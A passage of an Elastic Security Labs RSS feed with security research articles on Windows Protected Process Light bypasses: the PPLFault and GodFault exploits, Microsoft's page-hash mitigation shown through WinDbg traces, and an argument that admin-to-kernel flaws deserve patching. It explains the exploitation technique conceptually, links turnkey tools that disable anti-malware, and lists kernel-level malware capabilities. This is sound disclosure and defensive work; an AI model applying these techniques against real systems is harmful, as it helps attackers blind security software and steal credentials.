<p><img src="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/image3.png" alt="The new CI!CipMapAndSizeDataFileWithMDL has a mitigation" /></p>
<h2>Summary and conclusion</h2>
<p>Today we discussed and named a bug class: <strong>False File Immutability</strong>. We are aware of two public exploits that leverage it, PPLFault and ItsNotASecurityBoundary.</p>
<p><a href="https://github.com/gabriellandau/PPLFault">PPLFault</a>: Admin -&gt; PPL [-&gt; Kernel via GodFault]</p>
<ul>
<li>Exploits bad immutability assumptions about image section in CI/MM</li>
<li>Reported September 2022</li>
<li>Patched February 2024 (~510 days later)</li>
</ul>
<p><a href="https://github.com/gabriellandau/ItsNotASecurityBoundary">ItsNotASecurityBoundary</a>: Admin -&gt; Kernel</p>
<ul>
<li>Exploits bad immutability assumptions about data sections in CI</li>
<li>Reported February 2024</li>
<li>Patched May 2024 (~90 days later)</li>
</ul>
<p>If you are writing Windows code that operates on files, you need to be aware of the fact these files may be modified while you are working on them, even if you deny write sharing. See the Affected Operations section above for guidance on how to protect yourselves and your customers against these types of attacks.</p>
<p>ItsNotASecurityBoundary is not the end of FFI. There are other exploitable FFI vulnerabilities out there. My colleagues and I at Elastic Security Labs will continue exploring and reporting on FFI and beyond. We encourage you to follow along on X <a href="https://x.com/GabrielLandau">@GabrielLandau</a> and <a href="https://x.com/elasticseclabs">@ElasticSecLabs</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/false-file-immutability/Security Labs Images 36.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Inside Microsoft's plan to kill PPLFault]]></title>
            <link>https://www.elastic.co/jp/security-labs/inside-microsofts-plan-to-kill-pplfault</link>
            <guid>inside-microsofts-plan-to-kill-pplfault</guid>
            <pubDate>Fri, 15 Sep 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[In this research publication, we'll learn about upcoming improvements to the Windows Code Integrity subsystem that will make it harder for malware to tamper with Anti-Malware processes and other important security features.]]></description>
            <content:encoded><![CDATA[<p>On September 1, 2023, Microsoft released a new build of Windows Insider Canary, version 25941. Insider builds are pre-release versions of Windows that include experimental features that may or may not ever reach General Availability (GA). Build 25941 includes improvements to the Code Integrity (CI) subsystem that mitigate a long-standing issue that enables attackers to load unsigned code into Protected Process Light (PPL) processes.</p>
<p>The PPL mechanism was introduced in Windows 8.1, enabling specially-signed programs to run in such a way that they are protected from tampering and termination, even by administrative processes. The goal was to keep malware from running amok — tampering with critical system processes and terminating anti-malware applications. There is a hierarchy of PPL “levels,” with higher-privilege ones immune from tampering by lower-privilege ones, but not vice-versa. Most PPL processes are managed by Microsoft but members of the <a href="https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/virus-initiative-criteria?view=o365-worldwide">Microsoft Virus Initiative</a> are allowed to run their products at the <a href="https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">less-trusted Anti-Malware PPL level</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/PPL-Table.jpg" alt="A simplified diagram of the heirarchy of PPL levels" /></p>
<p>A few core Windows components run at the highest level of PPL, called Windows Trusted Computing Base (<strong>WinTcb-Light</strong>). Because of the protection afforded to these components and their narrow scope of function, they are considered more trusted than most user mode code. Most of these processes (such as <strong>csrss.exe</strong>) and their complex kernel-mode counterparts (such as <strong>win32k.sys</strong>) were written decades ago under different assumptions when the kernel-user boundary was even weaker than it is today. Rather than rewrite all these components, Microsoft made these user mode processes <strong>WinTcb-Light</strong>, mitigating tampering and injection attacks. <a href="https://twitter.com/aionescu">Alex Ionescu</a> stated it clearly in 2013:</p>
<blockquote>
<p>Because the Win32k.sys developers did not expect local code injection attacks to be an issue (they require Administrator rights, after all), many of these APIs didn’t even have SEH, or had other assumptions and bugs. Perhaps most famously, one of these, <a href="http://j00ru.vexillium.org/?p=1393">discovered by j00ru</a>, and still unpatched, has been used as the sole basis of the Windows 8 RT jailbreak. In <a href="http://forum.xda-developers.com/showthread.php?t=2092158">Windows 8.1 RT</a>, this jailbreak is “fixed”, by virtue that code can no longer be injected into Csrss.exe for the attack. <a href="http://j00ru.vexillium.org/?p=1455">Similar</a> Win32k.sys exploits that relied on Csrss.exe are also mitigated in this fashion.</p>
</blockquote>
<p>To reduce the attack surface, Microsoft runs most of their PPL code with less privilege than <strong>WinTcb-Light</strong>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/image4.png" alt="APPL processes in Windows 11 22H2, as seen in Process Explorer
" /></p>
<p>Microsoft does not consider PPL to be a <a href="https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">security boundary</a>, meaning they won’t prioritize security patches for code-execution vulnerabilities discovered therein, but they have historically <a href="https://itm4n.github.io/the-end-of-ppldump/">addressed</a> some such <a href="https://x.com/GabrielLandau/status/1683854578767343619?s=20">vulnerabilities</a> on a less-urgent basis.</p>
<h3>Loading code into PPL processes</h3>
<p>To load code into a PPL process, it must be signed by special certificates. This applies to both executables (process creation) and libraries (DLLs loads). For the sake of simplicity, we’ll focus on DLL loading, but the CI validation process is very similar for both. This article is focused on PPL, so we will not discuss kernel mode code integrity.</p>
<p><a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format">Portable Executable</a> (PE) files come in many extensions, including EXE, DLL, SYS, OCX, CPL, and SCR. While the extension may vary, they’re all quite similar at a binary level. For a PPL process to load and execute a DLL, a few steps must be taken. Note that these steps are simplified, but should be sufficient for this article:</p>
<ol>
<li>An application calls <strong><a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw">LoadLibrary</a></strong>, passing the path to the DLL to be loaded.</li>
<li><strong>LoadLibrary</strong> calls into the loader within NTDLL (e.g. <strong>ntdll!LdrLoadDll</strong>), which opens a handle to the file using an API such as <strong>NtCreateFile</strong>.</li>
<li>The loader then passes this file handle to <strong><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntcreatesection">NtCreateSection</a></strong>, asking the kernel memory manager to create a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views">section object</a> which describes how the file is to be mapped into memory. A section object is also known as a <a href="https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping">file mapping object</a> in higher abstraction layers (such as Win32), but since we’re focused on the kernel, we’ll keep calling them section objects. The Windows loader always uses a specific type of section called an <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/executable-images">executable image</a> (aka <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga">SEC_IMAGE</a>), which can only be created from PE files.</li>
<li>Before returning the section object to user mode, the memory manager checks the digital signature on the file to ensure it meets the requirements for the given level of PPL. The internal memory manager function <strong>MiValidateSectionCreate</strong> relies on the Code Integrity module <strong>ci.dll</strong> to handle the requisite cryptography and <a href="https://en.wikipedia.org/wiki/Public_key_infrastructure">PKI</a> policy.</li>
<li>The memory manager restructures the PE so that it can be mapped into memory and executed. This step involves creating multiple subsections, one for each of the different portions of the PE file that must be mapped differently. For example, global variables may be read-write, whereas the code may be execute-read. To achieve this granularity, the resulting regions of memory must have distinct <a href="https://en.wikipedia.org/wiki/Page_table">page table entries</a> with different page permissions. Other changes may be applied here, such as applying relocations, but they are out of scope for this research publication.</li>
<li>The kernel returns the new section handle to the loader in NTDLL.</li>
<li>The NTDLL loader then asks the kernel memory manager to map a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views">view of the section</a> into the process address space via the <strong><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwmapviewofsection">NtMapViewOfSection</a></strong> syscall. The memory manager complies.</li>
<li>Once the view is mapped, the loader finishes the processing required to create a functional DLL in memory. The details of this are out of scope.</li>
</ol>
<h3>Page hashes</h3>
<p>In the above steps, we can see that a PE’s digital signature is validated during section creation, but there is another way that code can be loaded into the address space of a PPL process - <a href="https://en.wikipedia.org/wiki/Memory_paging">paging</a>.</p>
<p>Unmodified pages belonging to file-backed sections (including <strong>SEC_IMAGE</strong>) can be quickly discarded whenever the system is low on memory because there’s a copy of that exact data on disk. If the page is later touched, the CPU will issue a page fault, and the memory manager’s page fault handler will re-read that data from disk. Because <strong>SEC_IMAGE</strong> sections can only be created from immutable file data, and the signature has already been verified, the data is considered trusted.</p>
<p>PE files may be optionally built with the <a href="https://learn.microsoft.com/en-us/cpp/build/reference/integritycheck-require-signature-check?view=msvc-170"><strong>/INTEGRITYCHECK</strong></a> flag. This sets a flag in the PE header that, among other things, instructs the memory manager to create and store hashes of every page (aka “page hashes”) of that PE as sections are created from it. After reading a page from disk, the page fault handler calls <strong>MiValidateInPage</strong> to verify that the page hash hasn’t changed since the signature was initially verified. If the page hash has changed, the handler will raise an exception. This feature is useful for detecting <a href="https://en.wikipedia.org/wiki/Data_degradation">bit rot</a> in the page file and a few types of attacks. Beyond <strong>/INTEGRITYCHECK</strong> images, page hashes are <a href="https://twitter.com/DavidLinsley11/status/1190810926762450944">also enabled</a> for all modules loaded into full Protected Processes (not PPL), and drivers loaded into the kernel.</p>
<p><em><strong>Note:</strong> It is possible to create a <strong>SEC_IMAGE</strong> section from a file with <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmdoesfilehaveuserwritablereferences">user-writable references</a>, a tactic employed by techniques like <a href="https://jxy-s.github.io/herpaderping/">Process Herpaderping</a>. The existence of user-writable references means that a file could be modified after the image section is created.  When a program attempts to use such a mutable file, the memory manager first copies the file’s contents to the page file, creating an immutable backing for the image section to prevent tampering. In this case, the section will not be backed by the original file, but instead by the page file. See <a href="https://www.microsoft.com/en-us/security/blog/2022/06/30/using-process-creation-properties-to-catch-evasion-techniques/">this Microsoft article</a> for more information about user-writable references.</em></p>
<h3>Exploitation</h3>
<p>In September 2022, Gabriel Landau from Elastic Security filed VULN-074311 with MSRC, notifying them of two <a href="https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability">zero-day</a> vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. Two exploits for these vulnerabilities were provided named <a href="https://github.com/gabriellandau/PPLFault">PPLFault</a> and <a href="https://github.com/gabriellandau/PPLFault#godfault">GodFault</a>, respectively, along with their source code. These exploits allow malware to <a href="https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection">bypass LSA protection</a>, terminate or blind EDR software, and modify kernel memory to tamper with core OS behavior - all without the use of any vulnerable drivers. See <a href="https://www.elastic.co/jp/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">this article</a> for more details on their impact.</p>
<p>The admin-to-PPL exploit PPLFault leverages the fact that page hashes are not validated for PPL and employs the <a href="https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/">Cloud Filter API</a> to violate immutability assumptions of files backing <strong>SEC_IMAGE</strong> sections. PPLFault uses paging to inject code into a DLL loaded within a PPL process running as <strong>WinTcb-Light</strong>, the most privileged form of PPL. The PPL-to-kernel exploit GodFault first uses PPLFault to get <strong>WinTcb-Light</strong> code execution, then exploits the kernel’s trust of <strong>WinTcb-Light</strong> processes to modify kernel memory, granting itself full read-write access to physical memory.</p>
<p>Though MSRC <a href="https://www.elastic.co/jp/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">declined</a> to take any action on these vulnerabilities, the Windows Defender team has <a href="https://twitter.com/PhilipTsukerman/status/1683861340207607813?s=20">shown interest</a>. PPLFault and GodFault were released at <a href="https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052">Black Hat Asia</a> in May 2023 alongside a mitigation to stop these exploits called <a href="https://github.com/gabriellandau/PPLFault/tree/main/NoFault">NoFault</a>.</p>
<h3>Mitigation</h3>
<p>On September 1, 2023, Microsoft released build 25941 of Windows Insider Canary. This build adds a new check to the memory manager function <strong>MiValidateSectionCreate</strong> which enables page hashes for all images that reside on remote devices. Comparing 25941 against its predecessor 25936, we can see the following two new basic blocks:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/Bindiff.jpg" alt="BinDiff comparison of MiValidateSectionCreate in builds 25936 and 25941" /></p>
<p>Decompiled into C, the new code looks like this:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/New-Code-In-IDA.jpg" alt="New check added in Windows build 25941" /></p>
<p>When PPLFault is run, Windows Error Reporting generates an event log indicating a failure during a paging operation:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/WER-Event-Log.jpg" alt="PPLFault failing in build 25941 with STATUS_IN_PAGE_ERROR (0xC0000006)" /></p>
<p>PPLFault requires its payload DLL to be loaded over the SMB network redirector to achieve the desired paging behavior. By forcing the use of page hashes for such network-hosted DLLs, the exploit can no longer inject its payload, so the vulnerability is fixed. The aforementioned <a href="https://github.com/gabriellandau/PPLFault/tree/main/NoFault">NoFault</a> mitigation released at Black Hat also targets network redirectors, blocking such DLL loads into PPL entirely. Elastic Defend 8.9.0 and later block PPLFault - please update if you haven’t already.</p>
<p>Tracking down the exact point of failure in a kernel debugger, we can see the page fault handler invoking CI to validate page hashes, which fails with <strong>STATUS_INVALID_IMAGE_HASH (0xC0000428)</strong>. This is later converted to <strong>STATUS_IN_PAGE_ERROR (0xC0000006)</strong>.</p>
<pre><code>0: kd&gt; g
Breakpoint 1 hit
CI!CiValidateImagePages+0x360:
0010:fffff805`725028b4 b8280400c0      mov     eax,0C0000428h
7: kd&gt; k
 # Child-SP          RetAddr               Call Site
00 fffff508`1b4a6dc0 fffff805`72502487     CI!CiValidateImagePages+0x360
01 fffff508`1b4a6f90 fffff805`6f2f1bbd     CI!CiValidateImageData+0x27
02 fffff508`1b4a6fd0 fffff805`6ee35de5     nt!SeValidateImageData+0x2d
03 fffff508`1b4a7020 fffff805`6efa167b     nt!MiValidateInPage+0x305
04 fffff508`1b4a70d0 fffff805`6ef9fffe     nt!MiWaitForInPageComplete+0x31b
05 fffff508`1b4a71d0 fffff805`6ef68692     nt!MiIssueHardFault+0x3fe
06 fffff508`1b4a72e0 fffff805`6f0a784b     nt!MmAccessFault+0x3b2
07 fffff508`1b4a7460 00007fff`ccf71500     nt!KiPageFault+0x38b
08 000000b6`776bf1b8 00007fff`d5500ac0     0x00007fff`ccf71500
09 000000b6`776bf1c0 00000000`00000000     0x00007fff`d5500ac0
7: kd&gt; !error C0000428
Error code: (NTSTATUS) 0xc0000428 (3221226536) - Windows cannot verify the 
 digital signature for this file. A recent hardware or software change 
 might have installed a file that is signed incorrectly or damaged, or 
 that might be malicious software from an unknown source.
</code></pre>
<h3>Comparing behavior</h3>
<p>With the fix introduced in build 25941, the final vulnerable build is 25936. Running PPLFault in both builds under a kernel debugger, we can use the following WinDbg command to see the files for which CI is computing page hashes:</p>
<pre><code>bp /w &quot;&amp;CI!CipValidatePageHash == @rcx&quot; CI!CipValidateImageHash 
 &quot;dt _FILE_OBJECT @r8 FileName; g&quot;
</code></pre>
<p>This command generates the following WinDbg output for build 25936, before the fix:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/WinDbg-Output-25936.jpg" alt="Build 25936 using page hashes only for services.exe" /></p>
<p>Here is the WinDbg output for build 25941, which includes the fix:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/WinDbg-Output-25941.jpg" alt="Build 25941 using page hashes for both services.exe and the PPLFault payload DLL loaded over SMB" /></p>
<h3>Conclusion</h3>
<p>Despite taking <a href="https://www.elastic.co/jp/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">longer than it perhaps should</a>, it's exciting to see Microsoft taking steps to defend PPL processes (including Anti-Malware) from malware running as admin, and users will benefit if this improvement reaches GA soon. Many features in Insider, even security features, are not available in (and may never reach) GA. Microsoft is very conservative when it comes to changes with potential stability, compatibility, or performance risk; memory manager changes are among the risker types. For example, the PreviousMode kernel exploit mitigation <a href="https://twitter.com/GabrielLandau/status/1597001955909697536?s=20">spotted in Insider last November</a> still hasn’t reached GA, even after <em>at least</em> 10 months.</p>
<p><em>Special thanks to <a href="https://twitter.com/0gtweet">Grzegorz Tworek</a> for his help reverse engineering some kernel functions.</em></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/inside-microsofts-plan-to-kill-pplfault/photo-edited-04@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Forget vulnerable drivers - Admin is all you need]]></title>
            <link>https://www.elastic.co/jp/security-labs/forget-vulnerable-drivers-admin-is-all-you-need</link>
            <guid>forget-vulnerable-drivers-admin-is-all-you-need</guid>
            <pubDate>Fri, 25 Aug 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique whereby a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique wherein a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. After achieving kernel access, they may tamper with or disable security software, dump otherwise inaccessible credentials, or modify operating system behavior to hide their presence. <a href="https://twitter.com/dez_">Joe Desimone</a> and I covered this in-depth, among other <a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf">kernel mode threats</a>, at Black Hat USA 2018. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware.</p>
<p><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-">Driver Signing Enforcement</a> (DSE), first deployed in 2007 by Windows Vista x64, was the first time that Microsoft attempted to limit the power of admins. With DSE in place, admins could no longer instantly load any code into the kernel. Admin restrictions grew over time with the rollout of Boot Guard, <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot">Secure Boot</a>, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Trusted Boot</a> to protect the boot chain from admin malware, which could previously install their own boot loaders / bootkits.</p>
<p>Further limiting admins' power, Microsoft recently deployed the <a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist">Vulnerable Driver Blocklist</a> by default, starting in Windows 11 22H2. This is a move in the right direction, making Windows 11 more secure by default. Unfortunately, the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of “secure by default” territory.</p>
<h2>Security boundaries</h2>
<p>When determining which vulnerabilities to fix, the Microsoft Security Response Center (<a href="https://msrc.microsoft.com/">MSRC</a>) uses the concept of a security boundary, which it <a href="https://web.archive.org/web/20230506125554/https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">defines</a> as follows:</p>
<blockquote>
<p>A security boundary provides a logical separation between the code and data of security domains with different levels of trust. For example, the separation between kernel mode and user mode is a classic and straightforward security boundary.</p>
</blockquote>
<p>Based on this definition, one might be inclined to think that malware running in user mode should not be able to modify kernel memory. The boundary is “straightforward” after all. Logically, any violation of that boundary should be met with a remedial action such as a patch or blocklist update.</p>
<p>Unfortunately, the situation gets murkier from here. That document later states that administrator-to-kernel is not a security boundary, with the following explanation:</p>
<blockquote>
<p>Administrative processes and users are considered part of the Trusted Computing Base (TCB) for Windows and are therefore not strong [sic] isolated from the kernel boundary.</p>
</blockquote>
<p>At this point, we have two seemingly conflicting viewpoints. On one hand, MSRC states that admin-to-kernel is an indefensible boundary and not worth fixing. On the other hand, Microsoft is attempting to defend this boundary with mechanisms such as Driver Signing Enforcement, Secure Boot, and the Vulnerable Driver Blocklist. Because the defense is incomplete, MSRC instead calls them “defense-in-depth security features.”</p>
<p>MSRC similarly does not consider admin-to-<a href="https://www.elastic.co/jp/blog/protecting-windows-protected-processes">PPL</a> a security boundary, instead classifying it as a defense-in-depth security feature. More on this in the next section.</p>
<p>The rest of this article will refer to MSRC and Microsoft separately. While MSRC is part of Microsoft, Microsoft is a much larger entity than MSRC; they shouldn't be equated.</p>
<h2>Exploiting vulnerabilities</h2>
<p>In September 2022, I filed VULN-074311 with MSRC, notifying them of two <a href="https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability">zero-day</a> vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. I provided source code for both exploits. The response concisely indicated that they understood the vulnerabilities and declined to take any further action, as stated below:</p>
<blockquote>
<p>The research describes a multi-step attack that leverages a PPL bypass to gain kernel code execution. Note that all of the proposed attacks do require administrative privileges to perform and thus the reported issue does not meet our bar for immediate servicing. We do not expect any further action and will proceed with closing out the case.</p>
</blockquote>
<p>In this parlance, “servicing” means “patching.” Their response is consistent with the aforementioned policy and their <a href="https://github.com/ionescu007/r0ak/tree/919338f4e88036c6a46a3a839f409efe38852415#faq">historical treatment</a> of the admin-to-kernel boundary. Their behavior is consistent too - it's been over 11 months and they still haven't patched either vulnerability. I find it fascinating that Microsoft is willing to block drivers that can modify kernel memory but MSRC is unwilling to service vulnerabilities that can do the same.</p>
<p>When I announced my Black Hat Asia 2023 talk, <a href="https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052">PPLdump Is Dead. Long Live PPLdump</a>, on Twitter five months after the MSRC report, the Windows Defender team quickly reached out to learn more. It seems that MSRC closed the case without telling the Defender team, whose products rely on PPL to protect <a href="https://www.ghacks.net/2019/08/03/windows-defender-has-a-market-share-of-50/">hundreds of millions of Windows machines</a>, about a PPL bypass. This type of miscommunication mustn't be allowed to continue.</p>
<h2>Turnkey tooling</h2>
<p><a href="https://github.com/wavestone-cdt/EDRSandblast">EDRSandBlast</a> is a tool that weaponizes vulnerable drivers to bypass AV &amp; EDR software. It can modify kernel memory to remove hooks installed by AV &amp; EDR, temporarily or permanently blinding them to malicious activity on the system.</p>
<p>As I discussed in my Black Hat Asia talk, MSRC has de-facto shown that they are unwilling to service admin-to-PPL and admin-to-kernel vulnerabilities and that it requires the existence of <a href="https://twitter.com/tiraniddo/status/1551966781761146880?s=20">turnkey tooling</a> on GitHub to motivate Microsoft to action. This led me to release the admin-to-PPL exploit <a href="https://github.com/gabriellandau/PPLFault">PPLFault</a> and admin-to-kernel exploit chain <a href="https://github.com/gabriellandau/PPLFault#godfault">GodFault</a> as easy-to-use tools on GitHub. For brevity, below we'll call them “PPL vulnerability” and “kernel vulnerability”, respectively.</p>
<p>In this same “turnkey tooling” spirit, to highlight the inconsistency of blocking known-vulnerable drivers while simultaneously refusing to patch admin-to-kernel exploit chains, I am <a href="https://github.com/gabriellandau/EDRSandblast-GodFault">releasing</a> a version of EDRSandBlast that integrates PPLFault to demonstrate the same result, sans vulnerable drivers. You can see it <a href="https://gist.github.com/gabriellandau/418cde5d194a5e7adff641f2164cd1d7#file-edrsandblast-godfault-txt-L21-L27">here</a> disabling the Windows Defender driver. My goal in releasing this is to motivate MSRC to treat both PPL and kernel vulnerabilities with greater urgency.</p>
<h2>Mitigation</h2>
<p>I released a small kernel driver alongside PPLFault and GodFault called <a href="https://github.com/gabriellandau/PPLFault/tree/7d5543eb6f9e4fd8d8380cbf358dab2f159703af/NoFault">NoFault</a> which breaks the PPL exploit. Until Windows is fixed, anti-malware vendors can employ this code to mitigate the PPL vulnerability. We've incorporated NoFault's protection into the latest version of Elastic Endpoint/Defend - please update to 8.9.0+ if you haven't already. One comprehensive fix could be to have the memory manager enforce page hashes for all executable images loaded into PPL, a feature <a href="https://twitter.com/DavidLinsley11/status/1190810926762450944?s=20">already employed</a> for full Protected Processes.</p>
<p>GodFault is not the first tool to exploit the kernel vulnerability. <a href="https://github.com/realoriginal/angryorchard">ANGRYORCHARD</a> first used it with the now-patched <a href="https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html">KnownDLLs PPL vulnerability</a>. The PPL vulnerability has since been fixed, but the kernel one was not.  I was able to easily reuse the kernel vulnerability in GodFault - it's only a <a href="https://github.com/gabriellandau/PPLFault/blob/da270ab29d4f02e8bd2dd525f1c85979ded3df58/GMShellcode/GMShellcode.c#L177-L192">few lines of code</a>. If this is not patched, then any future PPL exploits will immediately be chainable to the kernel. Note that NoFault breaks the kernel exploit chain by preventing its requisite PPL code execution, but does not fix the kernel vulnerability itself.</p>
<h2>Discussion</h2>
<p>Making EDRSandBlast driverless is just one example of the things you can do with such exploits. Admin-to-kernel exploits enable a whole menu of malware capabilities that are normally impossible from user mode, including:</p>
<ul>
<li>Disable kernel mode telemetry including process, thread, object manager, filesystem, and registry callbacks. EDRSandBlast does some of these.</li>
<li>Disable kernel ETW loggers</li>
<li>Terminate and/or inject malware into <a href="https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">PPL anti-malware processes</a></li>
<li>Bypass LSA RunAsPPL to dump credentials or tamper with Credential Guard</li>
<li>Read/write the memory of shielded VM worker processes, which <a href="https://learn.microsoft.com/en-us/windows-server/security/guarded-fabric-shielded-vm/guarded-fabric-and-shielded-vms#what-are-the-types-of-virtual-machines-that-a-guarded-fabric-can-run">run as PPL</a></li>
<li>Run malware with greater privilege than anti-malware, such that it can't be scanned or terminated from user mode</li>
<li>Implement rootkit behavior such as hiding processes, files, and registry keys</li>
<li>Gain full read-write access to physical memory</li>
</ul>
<p>Such kernel-driven capabilities, often enabled by BYOVD, are <a href="https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-abuses-legit-driver-to-disable-security-products/">regularly</a> <a href="https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html">used</a> <a href="https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/">by</a> <a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf">criminals</a> <a href="https://www.bleepingcomputer.com/news/security/ransomware-gangs-abuse-process-explorer-driver-to-kill-security-software/">to</a> <a href="https://thehackernews.com/2023/04/ransomware-hackers-using-aukill-tool-to.html">defeat</a> <a href="https://cybernews.com/security/bring-your-own-vulnerable-driver-attack/">and</a> <a href="https://www.techspot.com/news/95781-hackers-use-genshin-impact-anti-cheat-software-ransomware.html">degrade</a> <a href="https://arstechnica.com/information-technology/2020/02/hackable-code-trusted-by-windows-lets-ransomware-burrow-deep-into-targeted-machines/">security</a> <a href="https://www.sentinelone.com/labs/malvirt-net-virtualization-thrives-in-malvertising-attacks/">products</a>, empowering them to hurt people and businesses. PPL and kernel vulnerabilities enable these same capabilities, so MSRC needs to service them proactively before threat actors abuse them, not after.</p>
<p>I don't want to understate the difficulty of the problem - defending the kernel against admins is hard and will require continual effort as new bypasses are found. It will not be solved, but rather a difficult and ongoing arms race. Fortunately, Microsoft recently adopted a new philosophy of “<a href="https://youtu.be/8T6ClX-y2AE?t=244">no longer avoiding the hard things</a>” (timestamped link). Addressing these types of vulnerabilities is a “hard thing” affecting Windows security today that Microsoft can do something about while simultaneously moving towards their vision of an <a href="https://www.bigtechwire.com/2023/04/20/microsoft-admin-less-support-is-coming-in-a-future-windows-release/">Adminless future</a>. They're a large well-funded company filled with smart people, capable of addressing multiple issues at once.</p>
<h2>Conclusion</h2>
<p>Microsoft created the Vulnerable Driver Blocklist to stop admins from tampering with the kernel, but they've done nothing about an admin-to-kernel exploit chain that was reported over 11 months ago. By <a href="https://github.com/gabriellandau/EDRSandblast-GodFault">removing the vulnerable driver requirement from EDRSandBlast</a> via <a href="https://github.com/gabriellandau/PPLFault#godfault">GodFault</a>, I hope to prove that admin-to-kernel exploits can be just as dangerous as vulnerable drivers and that MSRC needs to take them seriously. Given Windows 11's <a href="https://www.youtube.com/watch?v=8T6ClX-y2AE">goal of default security</a> and the fact that the Vulnerable Driver Blocklist is now enabled by default, MSRC needs to reconsider its policy of indifference towards PPL and kernel exploits.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/forget-vulnerable-drivers-admin-is-all-you-need/photo-edited-09@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks]]></title>
            <link>https://www.elastic.co/jp/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks</link>
            <guid>upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks</guid>
            <pubDate>Wed, 31 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.]]></description>
            <content:encoded><![CDATA[<h2>Intro</h2>
